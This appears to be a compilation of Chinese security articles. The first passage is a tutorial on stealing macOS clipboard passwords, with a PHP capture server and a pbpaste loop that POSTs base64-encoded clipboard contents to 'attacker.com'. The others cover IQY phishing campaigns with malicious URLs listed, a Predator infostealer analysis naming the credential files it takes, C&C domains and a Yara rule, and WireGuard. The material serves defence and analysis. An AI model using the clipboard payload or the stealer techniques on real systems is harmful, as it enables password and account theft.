仅当当前剪贴板内容不等于 (**!=**) clipboard.txt 中的最后一个条目 (**tail -n1**) 时，pbpaste才会更新文件。

但是，该解决方案有些缺陷。

if 语句仅比较 clipboard.txt 文件的最后一行，因此，如果剪贴板中有多行，它将无法将其识别为重复条目。

但这对本文和大多数情况都有用。您可以花一点时间来设计一个健壮、适当的解决方案，以此为基础。

选项2：将密码泄露到远程服务器

「图」

场景：攻击者不在乎远程访问 MacBook。有效载荷被设计为每隔一段时间将剪贴板泄漏到攻击者的服务器。

在这种情况下，攻击者仅关心泄漏剪贴板，而没有将 MacBook 后门。

相反，他们找到了一种在目标 macOS 设备上远程执行代码的方法。

设置此攻击涉及由攻击者控制的PHP服务器，该服务器用于拦截泄露的数据。在 null-byte 的示例中使用了一个 Debian 虚拟专用服务器。

第一步：安装PHP

「图」

首先，使用以下 **apt-get** 命令安装 php，该命令将在 Debian 和 Kali Linux 中运行。

```
~# apt-get update &amp;amp;&amp;amp; apt-get install php
Ign:1 http://http.us.debian.org/debian stretch
InRelease Hit:2 http://http.us.debian.org/debian
stretch-updates InRelease Hit:3 http://
security.debian.org/debian-security stretch/
updates InRelease Hit:4 http://http.us.debian.org/
debian stretch Release Reading package lists...
Done Reading package lists... Done Building
dependency tree Reading state information... Done
The following NEW packages will be installed:
apache2-bin libapache2-mod-php7.0 libapr1
libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-
ldap liblua5.2-0 php php-common php7.0 php7.0-cli
php7.0-common php7.0-json php7.0-opcache php7.0-
readline psmisc 0 upgraded, 16 newly installed, 0
to remove and 0 not upgraded. Need to get 5,209 kB
of archives. After this operation, 19.9 MB of
additional disk space will be used. Do you want to
continue? [Y/n]
```

使用以下 **mkdir** 命令创建一个名为 “phpServer /” 的目录。

```
~# mkdir phpServer/
```

使用 **cd** 命令切换到 phpServer / 目录。

```
~# cd phpServer/
```

用 **nano** 创建一个名为 “index.php” 的文件。

```
~/phpServer# nano index.php
```

将以下 PHP 代码粘贴到 nano 终端中。完成后，要保存并退出 nano 终端，请按 *Ctrl + x*，然后按 *y*，然后按 *Enter*。

```
「?php $input = file_get_contents("php://input");
$log = file_put_contents('clipboard.txt',
$input.PHP_EOL , FILE_APPEND | LOCK_EX); ?」
```

这个简单的PHP服务器能够拦截数据，无需进行任何修改即可运行。当 MacBook 发送剪贴板内容时，服务器将捕获数据并将其附加到名为 “clipboard.txt” 的文件中。

最后，使用 **php -S 0.0.0.0:80** 命令启动PHP服务器。

```
~/phpServer# php -S 0.0.0.0:80 PHP 7.0.33-0+deb9u3
Development Server started at Sun Jun 9 08:38:55
2019 Listening on http://0.0.0.0:80 Document root
is /root/phpServer Press Ctrl-C to quit.
```

第二步：创建有效载荷

「图」

下面的脚本将当前剪贴板内容与发送给攻击者服务器的最新剪贴板内容进行比较。为了清楚起见，它采用标准的shell脚本格式，以留出注释空间。

```
# While loop to dump the clipboard over and over
again, infinitely. while true; do # An `if`
statement, compares the current clipboard #
content to the content found in the last loop. if
[[ "$(pbpaste)" != "$pbpaste_last" ]]; then # A
`p` to store the encoded clipboard contents. The #
```

```
contents must be encoded before sending to the # attacker's server to prevent it from breaking the # proceeding curl command. p="$(echo $(pbpaste) | base64)" # Curl takes the encoded string and delivers it to # the attacker's server via POST request. curl --data "$p" -X POST 'http://attacker.com/' # The `pbpaste_last` variable is updated. This variable # is evaluated in the following loop. pbpaste_last="$(pbpaste)" # Delay for 5 seconds before checking the clipboard # for new contents. Decreasing this value will cause # the script to evaluate the clipboard more frequently, # but will have a negative impact on the MacBook's # CPU. Increasing the value may cause the script to # miss a valuable password. Adjust as needed. sleep 5 fi done
```

将脚本压缩到一行以使其方便地适合各种类型的 stager。

```
while true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' &amp;amp;&amp;amp; pbpaste_last="$(pbpaste)"; sleep 5; fi; done
```

第三步：检查被窃取的数据

「图」

当PHP服务器接收剪贴板数据时，它将表明数据的来源（IP地址）以及日期和时间。按 *Ctrl* + *c* 停止PHP服务器。

```
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019 Listening on http://0.0.0.0:80 Document root is /root/phpServer Press Ctrl-C to quit. [Sun Jun 9 09:03:23 2019] 23.129.64.153:63761 [200]: / [Sun Jun 9 09:03:33 2019] 23.129.64.153:46089 [200]: / [Sun Jun 9 09:03:50 2019] 23.129.64.184:13728 [200]: / [Sun Jun 9 09:03:56 2019] 199.195.250.77:38894 [200]: / [Sun Jun 9 09:04:02 2019] 199.195.250.77:40646
```

```
[200]: / [Sun Jun 9 09:04:10 2019]
209.141.58.114:45602 [200]: /
```

使用 **cat** 查看 clipboard.txt 的内容以找到编码后的密码。

KeePassX 和 1Password 分别在十秒和三十秒后自动清除剪贴板。 LastPass 声明 “在默认时间后” 清除剪贴板。 MacBook 显示为“Cg＝＝”。

```
~/phpServer# cat clipboard.txt
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg== Cg==
dGhpcyBpcyBteSBwYXNzd29yZAo=
UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg== Cg==
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
```

以下命令将自动解码 clipboard.txt 文件中的所有 base64 字符串。以下所有字符串都是使用 KeePassX、1Password 和 LastPass 时被捕获的密码。

```
~/phpServer# cat clipboard.txt | while read -r
password; do base64 -d 「「「 "$password"; done
YT4n3M4sCpjpsTV7LkZoK this is my password
PwU7V3[87kvT?#^wMP(_cTym6?"」:"}:{*^～
```

YT4n3M4sCpjpsTV7LkZoK !!!''结论'' 「图」 鼓励渗透测试人员使用受感染操作系统中已经存在的尽可能多的资源（即 “[[living off the land|https://www.youtube.com/watch?v=j-r6UonEkUw]]”）。像 cURL，Netcat，Bash 和 LibreSSL 一样，pbpaste 是又一个内置工具，很容易被黑客滥用。 攻击者将探索各种途径，以发现目标的登录密码。 ''Pbpaste 使转储存储在密码管理器中的凭据变得非常容易。 ''''如何保护自己免受这种攻击？'' 为防止攻击者有机会转储剪贴板，请安装官方的 [[1Password 浏览器扩展程序|https://1password.com/downloads/windows/#browsers]]或 [[LastPass 浏览器扩展程序|https://lastpass.com/misc_download2.php]]。它们可用于所有现代Web浏览器。 对于 KeePassX 用户，也存在[[类似的浏览器扩展|https://chrome.google.com/webstore/search/keepass]]，但没有经过官方审核或测试。 对于 1Password，安装扩展后，在出现提示时启用 “1Password Extension

Helper”。然后，它将允许 1Password 在登录网站时自动填充凭据。 自动填充完全不使用剪贴板，因此可以防止剪贴板攻击。 LastPass 扩展的过程与此类似。 请记住，这两种方法都不会 100%地起作用。有时，当网站上的自动填充无效时，有必要将密码复制到剪贴板。 如果必须复制密码，则可以调整密码管理器的剪贴板设置。 例如，您可以打开 1Password 的首选项，选择 “安全性”，然后通过 “清除之后的剪贴板内容” 以秒为单位输入时间。使其尽可能短。 在上述入侵中，我们使用了五秒钟的间隔，因此三或四秒可能也有用，但这并不意味着攻击者在非常短的时间内无法获取密码。 总体而言，没有一种内置方法可以在设置的时间后或粘贴项目后立即清除 macOS 上的剪贴板，因此也不建议这样做，因为剪贴板不仅用于密码。 您可以为 “清除剪贴板” 构建服务，并为其分配键盘快捷键，例如 //Command + 向下箭头//。然后，您可以在粘贴密码后手动清除剪贴板，因此内容在其中放置的时间不会超过必要的时间。 最后，使用 1Password 的浏览器扩展不仅大大减少了使用剪贴板存储秘密的需求，而且还可以保护您免受网络钓鱼攻击，因为它只填充到您已经注册的网页上。 ''建议（一如既往）''： * 使您的系统和软件保持最新（个人计算机的大多数妥协是通过利用软件和系统供应商已修补的漏洞） * 尽可能使用精选的应用商店。这将大大减少您将恶意软件（例如剪贴板刮刀）安装到自己的系统上的机会。 〇 原文

攻击者通过 Necurs 僵尸网络兜售武器化的 IQY 文件，如何防御？ - iYouPort

技术-攻击防御和反抗

人的弱点依旧是最薄弱环节

「图」

「图」

你有没有走过一家商店，发现了一件看起来很奇怪的物品，但你还是把它放进了你的购物车里？也许它很有吸引力，因为它是你想要弄来琢磨一番的新东西；也许它看起来很闪亮 — 你必须拥有它 …… 如果是这样，你可能危险了，攻击者正在寻找和你一样的购物者。他们不断发布新的“产品”，通常是狡猾的电子邮件，以吸引毫无戒心的用户。最近出现的一波恶意“产品”已经通过互联网查询文件（IQY）附件的未经请求的电邮形式进入虚拟“购物街”。

什么是 **IQY**？

什么是 IQY 文件附件？为什么它成为了攻击者当月的主流风格？Microsoft Excel 使用此类型的文件将数据从 Internet 提取到电子表格中，为此，URL 被嵌入到 IQY 文件中，该文件便于从指定的网页中提取数据。

虽然 IQY 文件扩展名对许多用户来说听起来有点陌生，但是如果你看一下使用 SharePoint 的企业级网络，例如一个与 Microsoft Office 集成的基于 Web 的协作平台，你肯定会找到许多使用 IQY 文件的实例。

这些文件可帮助网络用户共享和编辑 Excel 电子表格，以及其他用途。可以想象，带有嵌入式 **URL** 的常见文件可以很容易地被用于恶意目的。这就是为什么这些类型的文件不会在不与用户交互的情况下运行代码的原因。为防止其内容自动加载，文件中内置了一个安全提示，询问用户打开 IQY 文件时是否要“启用”数据连接。

「图」

「图」

Warning box asking user to “enable” or “disable” a data connection in an IQY file (Source: IBM X-Force)

为什么攻击者很喜欢 **IQY** 文件？

出于几个原因，IQY 文件对攻击者来说很有吸引力。首先，它们很容易创建，使用文本编辑程序就可以创建 IQY 文件。攻击者可以将其恶意指令与可操作的 URL 一起插入文本编辑器，并使用“.iqy”扩展名保存。然后，他们可以使用该文件直接从感染区域传递恶意代码。IQY 也很小且很不显眼，使得它们更容易植入未经请求的电子邮件中。

这种类型的文件附件相对不常见，并且通常不会附加到电子邮件中，这就是攻击者可能感兴趣的原因。攻击者不断在其垃圾邮件活动中随机插放文件类型，目标就是那些毫无戒心的用户。他们还试图防范安全解决方案，特别是那些过滤网络钓鱼和恶意软件感染活动中最常见的文件类型和扩展的解决方案。

IBM X-Force 研究最近的一些统计数据显示，近几个月来，在垃圾邮件活动中使用 IQY 文件的情况一直在增加。从 2018 年 5 月 25 日开始，首次被观察到一个主要的恶意垃圾邮件分销商 Necurs 僵尸网络使用了武器化的 IQY 文件附件。

从2018年5月下旬到7月中旬，IBM X-Force 研究人员在其垃圾邮件陷阱中捕获了来自 Necurs 资源的 780,000 多封垃圾邮件，所有这些消息都包含 IQY 附件。

「图」

「图」

IQY attachment spam campaigns spewed by the Necurs Botnet (Source: IBM X-Force)

「图」

「图」

Example of email message with IQY attachment (Source: IBM X-

Force)

进一步分析在垃圾邮件陷阱中捕获的电子邮件后，确认 IQY 附件包含恶意 URL。一旦用户被诱骗执行与嵌入式 URL 的连接，设备上的感染链就会启动。这导致最终设备被下载 FlawedAmmy RAT，这是一种恶意的远程访问工具，其源代码在2018年3月泄露，引发了大量的攻击活动，将这种恶意软件传播给数十万用户。

以下是一些恶意 URL 的示例包含在 X-Force 活动中的 Necurs IQY 附件里：

- http://clodflarechk[.]com/2.dat
- http://brembotembo[.]com/2.dat
- http://thespecsupportservice[.]com/duo.dat
- http://brtt7[.]com/preload.gif
- http://169.239.129[.]17/404
- http://t69c[.]com/A

延伸阅读：《"//网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？//"》

足够的 **IQY** 文件可供使用

在 2018 年7月中旬，一个名为 DarkHydrus 的攻击组织也开始使用恶意 IQY 附件。DarkHydrus 的网络钓鱼邮件隐藏了武器化 IQY 文件的 Roshal Archive Compressed（RAR）。根据 SecurityWeek 的说法，IQY 文件中的 URL 导致在受害者的设备上运行 PowerShell 脚本来设置后门。此次攻击被认为具有国家政府动机。

另一个例子：最近观察到的恶意 IQY 附件的使用来自 Marap 下载程序恶意软件。Marap 网络钓鱼电子邮件活动始于 2018 年 8 月，IBM X-Force 研究人员从 2018 年8月10日开始捕获此活动的电子邮件，确认其中包含恶意 IQY 文件附件。

「图」

「图」

Necurs-borne email hauling IQY attachment that fetches the Marap malware (Source: IBM X-Force)

IQY — 你知道为什么……

在垃圾邮件中使用各种经常是鲜为人知的文件类型和扩展名是在主要僵尸网络和垃圾邮件分发者中不断增长的趋势。为了确保他们的恶意电子邮件能够抵达收件人、并且不会被电子邮件过滤器阻止，网络犯罪组织一直在改变他们的策略，全年提供多种形状的诱杀文件。

由于 IQY 文件在许多企业网络中具有固有的实用性和普遍性，因此某些安全实践可以帮助降低与它们相关的风险，而无需完全阻止这些文件的使用。

给防御者的提示

- 最好的防御策略之一是宣传流行的垃圾邮件发送者策略。确保组织中的每个人都了解 IQY 文件带来的危险。随着他们在垃圾邮件活动中的使用量的迅速提升，需要将 IQY 文件纳入反垃圾邮件和网络钓鱼知识的培训。
- 如果您的环境中未使用 IQY 文件，则可以使用组策略阻止它们。系统管理员可以修改信任中心设置以禁用从 Excel 电子表格中启动的数据连接。
- 如果您单位的网络上需要 IQY 文件，请使用高级电子邮件过滤规则。某些电子邮件安全解决方案提供了检查电子邮件附件内容的选项。阻止附件中的特定恶意内容仍然可以允许合法的 **IQY** 文件被通过。
- 在电子邮件过滤规则中使用 IP 白名单，以获取 IQY 文件的允许发件人。请谨慎使用域名白名单规则，因为攻击者通常会在鱼叉式网络钓鱼攻击中尝试欺骗电子邮件域。
- 及时了解新出现的威胁和妥协指标（**IoC**）阻止访问当前的攻击者在 IQY 文件中使用的已知恶意 URL IoC。
- 确保您的安全信息与事件管理（SIEM）系统可以识别威胁，尤其是未知威胁。

来自 Verizon 的 “2018年数据泄露调查报告” 的数据表明，网络钓鱼仍然是诱骗用户的一种非常有效的方式。安全研究人员经常强调警惕骗局，就如我们，介绍并演示了很多关于 社交工程攻击 的实例，人性弱点是所有防御中最为薄弱的环节。但太多的恶意电子邮件仍然可以突破企业防御并以危险的速度提供给最终用户。根据 “IBM X-Force 威胁情报指数”，2017 年遭受攻击的被调查者中有 12% 属于攻击者试图利用无意中的内部弱点所导致的结果。

以下列举一些最常见的电子邮件安全威胁。不论是活动家、调查记者、人权捍卫者、时政作者和律师，还是公司员工，都应该小心。

恶意链接

电子邮件中的恶意链接会将收件人引向将盗取其凭据的网站。用户误认为自己在安全的网站上，并且通常会回复查询信息（例如，“点击此处验证您的信息”）。一旦攻击者获得了来自毫无戒心的用户的关键信息，他们就可以访问公司网络或其他敏感数据。

删除恶意软件

如果邮件包含恶意附件，则只需打开该文件即可感染，例如勒索软件或键盘记录软件。用户通常被要求打开声称包含财务信息的附件，例如发票或账单，从而被欺骗。这是一种在商业环境中非常有效的攻击技术。

商业电子邮件妥协

近年来，企业电子邮件诈骗（BEC）案件正稳步增长。它也被称为捕鲸，攻击者冒充高级管理人员并试图诱骗员工或客户转移资金或敏感数据。根据互联网犯罪投诉中心（IC3）的“2017年互联网犯罪报告”，BEC 和电子邮件帐户妥协（EAC）造成的损失最大，使受害者损失超过 6.76 亿美元。

评估安全性

评估当前防御策略的一种方法是从网络钓鱼模拟开始。让您的安全团队制作模拟网络钓鱼电子邮件并将其发送给用户。分析结果将成为评估组织内安全教育和意识水平的良好开端。

组织还应对其入站和出站电子邮件进行更多技术评估，以确定每天有多少恶意邮件通过公司服务器，并确保不与外部方共享敏感信息。渗透测试人员可以使用电子邮件创建更具针对性的攻击模拟，并提供有关人员和技术方面存在弱点的反馈以及他们如何访问敏感信息。

一旦安全经理了解了电子邮件安全状态，下一步就是制定一个支持防御的策略。

考虑安全托管服务

安全托管服务（MSS）提供专业知识，帮助您满足电子邮件安全的需求，评估当前战略和平台的执行情况，并提出有关软件和硬件升级的建议。电子邮件安全服务提供商可以提供一般指导并帮助您设置集成垃圾邮件检测和过滤、防病毒和反间谍软件，扫描邮件和附件中的病

毒和蠕虫，以及出站电子邮件加密的解决方案。这些服务通常通过订阅模式提供，足够灵活，允许现场管理员设置满足其组织独特需求的策略和控制。

投资安全意识培训

全面的提高认识计划应该教育最终用户有关恶意附件、危险链接、常见电子邮件诈骗以及鱼叉式网络钓鱼活动中使用的技术。寻找一个能够根据您组织的个人风险状况定制培训的提供者。请记住，攻击者用于针对在金融服务公司的工作人员所使用的网络钓鱼技术将与用于针对医疗保健诊所的最终用户的策略有所不同。

采用分层方法保护电子邮件安全

外部扫描、周边保护、内部网络邮件服务器和反垃圾邮件解决方案、以及安全意识培训，放在一起使用时更有效。电子邮件安全的分层方法的目标是构建一组多样化的防御，如果其中一层被违反，您还可以依赖另一层作为防备。

电子邮件安全的分层方法需要技术和教育的结合。这些层可能包括外部和内部的保护，以及相关教育，因此员工往往是最后的防线。

尽管现在可以使用所有其他类型的消息传递平台进行通信，但电子邮件不会很快消失。只要企业使用电子邮件，犯罪分子就会利用它作为攻击媒介。评估您的电子邮件安全性对于采取可靠全面的方法来防范违规行为是至关重要的。■

原文

攻破 Telegram, Steam, 加密货币钱包... 全面揭秘信息窃取恶意软件的技术细节 - iYouPort

技术-攻击防御和反抗

如何窃取 Telegram 数据？如何窃取 Steam 数据？如何窃取加密货币钱包？如何窃取浏览器数据？.....Fumik0 对 Predator 恶意软件进行了详细分析。本文适合初级逆向工程师或恶意软件分析人员阅读，希望能让大家轻松了解恶意软件所使用的某些技术或技巧，并掌握应对方法

一、概述

本文主要针对一个窃取用户信息的恶意软件 Predator the thief 进行深入分析，该软件使用 C/C＋＋ 语言编写。与当今主流的恶意软件一样，该恶意软件可以作为构建器（Builder），也可以通过C&C渠道下载额外的恶意软件。

对这一恶意软件进行了详细分析，并对其中的一些重点功能模块进行了详细拆解和分析。本文适合初级逆向工程师或恶意软件分析人员阅读，希望通过我们的分析，能让大家轻松了解恶意软件所使用的某些技术或技巧，并掌握应对方法。

二、信息窃取软件的典型生命周期

对于如今的大多数信息窃取软件来说，其执行顺序几乎相同，但逃避检测技术则根据所使用的 C&C 通信方式而有所不同。举例来说，在 Predator 中，设置过程非常简单，但如果攻击者在其 C&C 上部署了加载程序（Loader），就会有所不同了。

Predator the thief 的生命周期：

「图」

「图」

三、准备阶段

在窃取敏感数据之前，Predator 首先需要进行一些基本的设置才能正常工作。所有的配置，都是逐步加载到内存之中的。

「图」

「图」

我们将断点设置在 0x00472866 的位置，并检查代码：

「图」

「图」

1、EBX 设置为循环的长度（在我们所分析的样本中，长度为 0x0F）；

2、ESI 保存所有函数地址；

「图」

「图」

3、EAX 将从 ESI 获取一个地址，并将其移动到 EBP-8；

4、调用 EBP（在这时，配置函数将解压缩一些数据，并将其保存到栈中）；

5、ESI 的位置现在提前4位；

6、EDI 递增，直至该值与 EBX 值相等；

7、当 EDI == EBX 时，也就表示所有必须的配置值都已经存储到栈中。此时，恶意软件的主要部分便可以启动。

举例来说，我们看看 00488278 位置的 0040101D 中的内容。

通过x32dbg，使用简单的命令就可以进行查看。

go 0x0040101D

如我们所见，这是C&C存储的位置，该内容已经保存到了栈中。

「图」

「图」

恶意软件使用这种方式，存储如下内容：

- C&C 域名
- %APPDATA% 文件夹
- Predator 文件夹
- Predator 压缩文件的临时名称和位置
- 发送给 C&C 服务器的压缩文件名称
- 等等…

恶意软件在 %APPDATA%/Roaming 路径下创建 Predator 文件夹（\ptst）。值得注意的是，其名称是通过 XOR 操作后的硬编码字符串保存的，而并非随机生成。我们猜测，这有可能是 “Predator The Stealer” 的快捷方式。

信息窃取过程中，临时存档的文件名为“zpar.zip”。

四、反逆向机制

当我们终于来到恶意软件的主要模块时，发现寻址获得的结果是一个循环 0x06400000 次的文本。这应该是恶意软件设计的反逆向工程机制。

「图」

「图」

五、混淆技术

5.1 大规模使用的 XOR 操作

在分析中我们发现，该样本中几乎所有字符串都经过了 XOR 操作。但是，这种混淆技术很容易发现，并且是最易于解密的一种方式。在这里，XOR 操作的目的只是为了减慢恶意软件分析的速度。

「图」

「图」

5.2 使用 GetProcAddress 的替代方案

为了避免直接调用来自不同库的模块，恶意软件使用一些传统的机制，逐一搜索特定的API请求，并将其存储到寄存器中。此外，它还允许将对模块的直接调用隐藏到简单的寄存器调用中。

首先，解密 XOR 运算后的字符串（一个DLL）。针对这种情况，恶意软件要调用的特定模块需要用到 kernel32.dll。

「图」

「图」

解密完成后，该库使用 LoadLibraryA 进行加载。随后，明文内容 “CreateDirectoryA” 被 PUSH 到 EDX 中，这是恶意软件需要使用到的模块。

现在，恶意软件需要从 kernel32.dll 中检索并导出函数 CreateDirectoryA 的地址。通常，需要通过 GetProcAddress 来实现。但由于 GetProcAddress 是众多安全防护机制重点关注的目标，该恶意软件换用了另一种方式来获取该值。

「图」

「图」

该字符串和 kernel32.dll 的 IMAGE_DOS_HEADER 都将一起被发送到 func_GetProcesAddress_0。我们可以在导出表（Export Table）的帮助下，手动获取到想要的函数地址的指针。我们接下来仔细查看其中的代码。

```
struct IMAGE_EXPORT_DIRECTORY {

long Characteristics;

long TimeDateStamp;

short MajorVersion;

short MinorVersion;

long Name;
```

long Base;

long NumberOfFunctions;

long NumberOfNames;

long *AddressOfFunctions; 「 = This good boy

long *AddressOfNames; 「 = This good boy

long *AddressOfNameOrdinals; 「 = This good boy

}

结构IMAGE_EXPORT_DIRECTORY中，必须要包含三个字段：

- AddressOfFunctions：包含模块中函数相对值地址（RVA）的数组；
- AddressOfNames：包含模块中所有函数的数组，以升序排列；
- AddressOfNamesOrdinals：一个16位数组，其中包含 AddressOfNames 所有相关的函数名称。

源代码：https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files

在保存了这三个数组的绝对位置后，循环过程非常简单。

「图」

「图」

1、抓取一个函数的相对值地址（RVA）；

2、获取该函数的名称；

3、将字符串与所需字符串进行比较。

在这里，详细分析一下其实现方式：

如果我们对 ds:[eax＋edx*4] 进行仔细查看，发现其中存储了 kernel32.dll 导出表函数的所有相对值地址。

「图」

「图」

下一条指令是 eax,ecx，用于计算 AddressOfNames 数组中字符串值的准确位置。

DLLBaseAddress + AddressOfNameRVA[i] = Function Name

751F0000 + 0C41D4 = CreateDirectoryA

「图」

「图」

经过比较后，发现二者匹配，所以对 procAddress 进行存储。首先，保存函数的序号（Ordinal Number），然后借助该值，获取函数地址位置，并保存到ESI中。

ADD ESI, ECX

ProcAddress = Function Address + DLLBaseAddress

经过反汇编后，大致如下：

「图」

「图」

procAddress 的代码如下：

「图」

「图」

「图」

「图」

至此，一切妥当，函数的地址已经保存到EAX中，只需要等待调用即可。

六、反虚拟机技术

在这里，使用了一个简单的反虚拟机技术，来防止恶意软件在虚拟机

上运行。这也是 Predator 所使用的唯一的反分析技术。

「图」

「图」

首先，通过 LoadLibraryA，动态加载 User32.dll（经过 XOR 处理），然后使用 User32.dll 请求 EnumDisplayDevicesA 模块。在这里，恶意软件希望获取当前使用显示器的“设备描述”值。

完成后，将该结果与一些特定值进行比对（同样经过了 XOR 处理）：

Hyper-V

VMware

VirtualBox

「图」

「图」

如果字符串匹配，那么就会重定向到名为 func_VmDetectedGoodBye 的函数。

如何绕过这种反虚拟机技术？

为了绕过恶意软件的这种检测技术，我们将 DriverDesc的REG_SZ 值修改为 {4d36e968-e325–11ce-bfc1–08002be10318}。

「图」

「图」

然后，便成功绕过了这一检测。

「图」

「图」

七、信息窃取部分

接下来，我们分析这一恶意软件的主要目的，也就是它如何完成信息窃取的。目前，我对大部分代码进行了反汇编，得到了恶意软件在ptst 存储库上设置的所有文件夹，并将其压缩后发送到 C&C 服务器。

文件夹

· Files：保存特定路径中所有文本或文档文件。

· FileZilla：从FTP中获取1–2个文件。

· WinFTP：从FTP中获取1个文件。

· Cookies：保存来自不同浏览器的Cookie内容。

· General：通用数据。

· Steam：窃取账户登录信息。

· Discord：窃取账户登录信息。

文件

· Information.log

· Screenshot.jpeg：当前屏幕截图。

7.1 窃取Telegram数据

恶意软件通过检查计算机上是否存在KeyPath“Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750–6209–4FBF-9CA8–7A333C87D1ED}_is1”的方法，来验证计算机是否安装了Telegram。

那么，这个 KeyPath 中的内容是什么呢？在深入分析代码后，我们发现恶意软件会获取 InstallLocation 的值，这是主机上 Telegram 的安装位置。

「图」

「图」

重新创建路径（在这里，所有字符串也都被异或）

%TELEGRAM_PATH%

\Telegram Desktop

\tdata

\D877F783D5D3EF8C

「图」

「图」

文件夹 D877F783D5D3EF8C 是存储所有 Telegram 缓存的位置，这也是恶意软件想要获取的敏感数据。此外，在此过程中，还会检查 map*文件（例如 map1），该文件实际上是加密密钥。所以，攻击者如果获取到这一文件夹中的内容，就能够访问目标用户的应用软件数据。

7.2 窃取 Steam 数据

该恶意软件用于窃取某个特定软件中数据的技术，在大多数情况下都是类似的。这样一来，就能极大的帮助我们理解这一恶意软件。

首先，恶意软件检查 HKCU\Software\Valve\Steam中的SteamPath 键值，获取正确的 Steam 存储位置。在获取该位置之后，才能进一步找到保存 Steam 账户信息的相关文件。

「图」

「图」

通过 func_FindFiles，检查计算机上是否存在 ssfn 文件。如果存在，会将其复制到位于 %APPDATA%/XXXX 的恶意软件临时文件夹中。同样，针对 config.vdf 也进行相同的操作。

「图」

「图」

那么，这些文件有什么意义呢？经过搜索，我们发现了 Reddit 上的一篇文章，主要介绍了 ssfn 文件允许在用户登录期间绕过 SteamGuard 防护机制。

「图」

「图」

那么，第二个文件的作用呢？在这里，可以找到关于用户账户，以及计算机上安装的所有应用程序的相关信息。此外，如果找到了有效的 ConnectCache 字段，就可以在不经 Steam 身份验证的情况下登录账户。其内容类似如下：

"ConnectCache"

{

"STEAM_USERNAME_IN_CRC32_FORMAT" "SOME_HEX_STUFF"

}

攻击者想要窃取的最后一个文件是 loginusers.vdf。该文件有多种用途，但最主要的是用于手动对离线状态的账户进行设置。

「图」

「图」

有关 Steam 信息窃取的更多详情，Kapersky 曾经发布过一次非常完整的分析。

7.3 窃取加密货币钱包

该恶意软件支持窃取多个数字钱包，包括：Ethereum、Multibit、Electrum、Armory、Bytecoin、Bitcoin 等。

与之前一样，相关的文件都经过了 XOR 操作。

「图」

「图」

7.4 窃取FTP软件数据

该恶意软件支持对两个 FTP 软件的信息窃取，包括 FileZilla 和 WinFTP。

这部分模块非常简单，只会对以下3个文件进行搜索，如果找到，会将其复制，以实现窃取过程：

%APPDATA%\Filezilla\sitemanager.xml

%APPDATA%\Filezilla\recentservers.xml

%PROGRAMFILES%\WinFtp Client\Favorites.dat

「图」

「图」

7.5 窃取浏览器数据

在本文，将不对恶意软件窃取浏览器数据的过程做过多解释，因为目前已经有很多文章都详细解释了此类型恶意软件是如何获取Web数据的。建议大家阅读@coldshell撰写的文章。

Predator 的主要目标是如今流行的 **Chrome**、**Firefox** 和 **Opera** 浏览器。该恶意软件支持对众多浏览器进行信息窃取，包括：Amigo、BlackHawk、Chromium、Comodo Dragon、Cyberfox、Epic Privacy Browser、Google Chrome、IceCat、K-Meleon、Kometa、Maxthon5、Mozilla Firefox、Nichrome、Opera、Orbitum、Pale Moon、Sputnik、Torch、Vivaldi、Waterfox。

恶意软件使用 SQLite，从浏览器中提取数据，并将其保存到名为 vlmi{lulz}yg.col 的临时文件中。

「图」

「图」

该过程非常简单：#窃取 SQL 浏览器文件；

- 通过 SQLite，将提取到的数据保存到临时文件中；
- 读取文件，并将其中的内容保存到特定名称的文本文件中（针对每种浏览器创建一个文件）。

1. p1：窃取账户的数量

- p2：窃取 Cookie 的数量

- p4：窃取表单的数量
- ……

1. 299f83d5a35f17aa97d40db667a52dcc | 加壳样本

- 3cb386716d7b90b4dca1610afbd5b146 | 脱壳后样本
- kent-adam.myjino.ru | C&C域名

1. cbcc48fe0fa0fd30cb4c088fae582118 | 脱壳后样本

- denbaliberdin.myjino.ru | C&C域名

1. GET—/api/info.get

- POST—/apigate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X *GET—/api/download.get #Alexuiop1337 **10.6 Yara**规则 rule Predator_The_Thief : Predator_The_Thief { meta: description = "Yara rule for Predator The Thief v2.3.5 & +" author = "Fumik0_" date = "2018/10/12" strings: $mz = { 4D 5A } $hex1 = { BF 00 00 40 06 } $hex2 = { C6 04 31 6B } $hex3 = { C6 04 31 63 } $hex4 = { C6 04 31 75 } $hex5 = { C6 04 31 66 } $s1 = "sqlite_" ascii wide condition: $mz at 0 and all of ($hex*) and all of ($s*) } 十一、安全建议 1、避免将文件存储在默认位置（例如：Desktop、Documents、Downloads），建议放在自定义的目录下。 2、避免运行破解版本或其他非官方版本的游戏，这些非官方版本的游戏往往不能及时更新，特别是 Fortnite 的游戏。 3、在运行软件的过程中使用容器，从而降低窃取数据的风险。 4、在每次访问后刷新一次浏览器，并且不要将密码直接保存在浏览器中，不要使用自动填充功能。 5、不要在所有网站都使用相同的密码，尽可能选用双因素认证（2FA）。 6、针对一些重要数据，在计算机中准备一些迷惑性的文件，这样攻击者即使成功窃取，也会受到误导。 7、使用 Vault 等密码管理软件。 十二、总结 这一信息泄露软件并不复杂，但它们却足以对被感染用户产生不可逆转的影响。其中，电子邮件账户和其他软件/平台账户是攻击者重点关注的内容。由此提醒广大用户，应该具有良好的安全意识，并在使用计算机的过程中注重安全性。防护恶意软件，并不是依靠一个简单的安全产品就能实现的，还需要从方方面面多加注意。 原文

新的VPN协议 - iYouPort

技术-攻击防御和反抗

WireGuard 是一种新的 VPN 协议，可以同时实现更快和更安全。现在，您可以通过官方开源应用程序连接到 iOS 上的 WireGuard 服务器。它与其他 VPN 协议（如 OpenVPN 和 IPsec）相比更安全，即使您从一个网络切换到另一个网络，它也可以维持 VPN 连接。

假设您在酒店，正前往繁忙的会议中心。如果您已与 WireGuard 服务器建立连接，当您走出酒店并切换到蜂窝网络时，以及当您到达会议中心并连接到 Wi-Fi 网络时，您的手机将可以一直保持与 VPN 服务器的连接。

